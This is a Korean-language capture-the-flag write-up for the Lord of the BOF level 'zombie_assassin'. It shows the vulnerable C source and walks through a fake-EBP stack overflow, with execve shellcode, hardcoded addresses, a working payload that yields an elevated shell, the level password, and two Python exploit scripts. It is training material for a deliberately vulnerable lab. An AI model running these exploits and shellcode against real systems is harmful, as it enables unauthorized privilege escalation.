/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
0x01. Analysis & Exploit
분기문을 통해서 ‘\xbf’, ‘\x40’ 으로 시작하는 주소들을 모두 필터링 된다.
[assassin@localhost assassin]$ cat /proc/751/maps
08048000-0817d000 r-xp 00000000 08:05 129443 /usr/bin/gdb
0817d000-08184000 rw-p 00134000 08:05 129443 /usr/bin/gdb
08184000-0850f000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 08:08 34138 /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 08:08 34138 /lib/ld-2.1.3.so
40014000-40018000 rw-p 00000000 00:00 0
40018000-4004d000 r-xp 00000000 08:05 96962 /usr/lib/libncurses.so.4.0
4004d000-40056000 rw-p 00034000 08:05 96962 /usr/lib/libncurses.so.4.0
40056000-4005a000 rw-p 00000000 00:00 0
4005a000-40076000 r-xp 00000000 08:08 34156 /lib/libm-2.1.3.so
40076000-40077000 rw-p 0001b000 08:08 34156 /lib/libm-2.1.3.so
40077000-40164000 r-xp 00000000 08:08 34145 /lib/libc-2.1.3.so
40164000-40168000 rw-p 000ec000 08:08 34145 /lib/libc-2.1.3.so
40168000-4016c000 rw-p 00000000 00:00 0
4016c000-40182000 r--p 00000000 08:05 32279 /usr/share/locale/en_US/LC_CTYPE
40182000-40290000 rw-p 00000000 00:00 0
bfffb000-c0000000 rwxp ffffc000 00:00 0
Shellcode를 이용한 공격
shellcode(24byte) :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
payload 시나리오 :
./zombie_assassin `python -c print "&[buf+4]"+"shellcode(24byte)"+"\x90"*12+"&[buf-4]"+"&leave-ret 가젯"
&[buf-4] : 0xbffffc5c
&buf : 0xbffffc60
&[buf+4] : 0xbffffc64
&leave-ret : 0x080484df
gdb 통해 얻은 buf의 주소와 실제 구동되는 buf의 주소가 0x10주소 만큼 차이가 나서 삽질을 많이 했다.
=> core 덤프를 통해서 알아낸 주소가 buffer 주소가 아닌 main함수 인자값 주소였다. 생각없이 ‘x/100x $esp’ 로 흩어 보면서 찾았는데, x/100x $esp-100 으로 윗부분을 보니 buffer가 존재함;;
=> 소스코드를 복사하여 printf(“%p”, buffer); 를 추가하여 제대로된 주소를 구하는 방법도 있음.
leave-ret 을 이용하여 fakeEBP기법을 사용하면 esp가 buf+4 로 이동하기 때문에 buf-4의 주소를 넣어주어야 실제 buf 주소가 실행된다.
eip에는 shellcode가 있는 시작 주소가 들어가야 하기 때문에, buf시작 부분에 shellcode의 시작 주소를 넣어주었다.
Payload
./zombie_assassin `python -c 'print "\x64\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\x5c\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`
릱릱?@?@廈@릱릱릱릱릱릱릱릱릱릱릱릱`?욀? ☻
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide
python
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/assassin/zombie_assassin"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer_addr = 0xbffffc60
shellcode_addr = buffer_addr + 4
fake_ebp = buffer_addr - 4
leave_ret = 0x080484df
payload = p32(shellcode_addr)
payload = append(shellcode)
payload = append("\x90"*(40-4-24))
payload = append(p32(fake_ebp))
payload = append(p32(leave_ret))
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)
RTL
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/assassin/zombie_assassin"
buffer_addr = 0xbffffc40
fake_ebp = buffer_addr - 4
libc_addr = 0x40018000
binsh_offset = 0xe3ff9
binsh_addr = libc_addr + binsh_offset
system_addr = 0x40058ae0
leave_ret_gadjet = 0x80484df
exit_addr = 0x400391e0
payload = p32(system_addr) # buffer[40]
payload = append(p32(exit_addr))
payload = append(p32(binsh_addr))
payload = append("\x90"*(40-12))
payload = append(p32(fake_ebp)) # sfp
payload = append(p32(leave_ret_gadjet)) # ret
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)
PREVIOUS[LOB]Level15. assassin